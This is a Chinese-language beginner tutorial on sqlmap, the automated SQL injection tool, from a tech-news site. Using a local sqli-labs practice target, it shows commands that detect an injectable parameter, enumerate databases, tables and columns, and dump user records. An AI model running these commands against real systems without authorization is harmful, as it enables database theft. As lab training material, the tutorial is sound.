sqlmap入门使用教程

编程知识 行业动态 更新时间:2024-06-13 00:20:28

Sqlmap

https://sqlmap/

sqlmap是一个开源,跨平台的自动化SQL注入工具,目前支持大多数主流数据库有MySQL,Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite等

sqlmap的强大的功能包括 数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时执行任意命令。

我们可以使用 -h参数来查看 sqlmap 的可选参数以及用法,sqlmap -h

-hh 参数可以查看更详细的用法,sqlmap -hh

小试牛刀

靶场:这里我们使用搭建的 sqli-labs(https://github/Audi-1/sqli-labs/wiki)来进行测试

步骤

  1. 查看是否能注入

-u, --url表示指定url

sqlmap -u "http://127.0.0.1/Less-1/?id=1"
sqlmap -u "http://127.0.0.1/Less-1/?id=1" -p id # 可以指定注入参数

Parameter表示注入参数为id,Get表示为Get请求,Type表示支持的注入类型

  1. 查看所有数据库

--dbs表示枚举所有数据库

sqlmap -u "http://127.0.0.1/Less-1/?id=1" --dbs

  1. 查看指定数据库所有表

-D 表示指定数据库 --tables 表示枚举所有表

sqlmap -u "http://127.0.0.1/Less-1/?id=1" -D security --tables

  1. 查看指定数据表的所有列

-T表示指定表 --columns表示枚举所有列名与数据类型

sqlmap -u "http://127.0.0.1/Less-1/?id=1" -D security -T users --columns

  1. 查看指定数据表指定列的内容

-C 表示指定列 --dump 表示输出数据 --start表示开始位置 --stop表示停止位置

sqlmap -u "http://127.0.0.1/Less-1/?id=1" -D security -T users -C id,username --dump --start 1 --stop 5

更多推荐

sqlmap入门使用教程

本文发布于:2023-03-29 23:45:00,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/3784198d6f9d729530f0d882e013ed6f.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:入门   教程   sqlmap

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!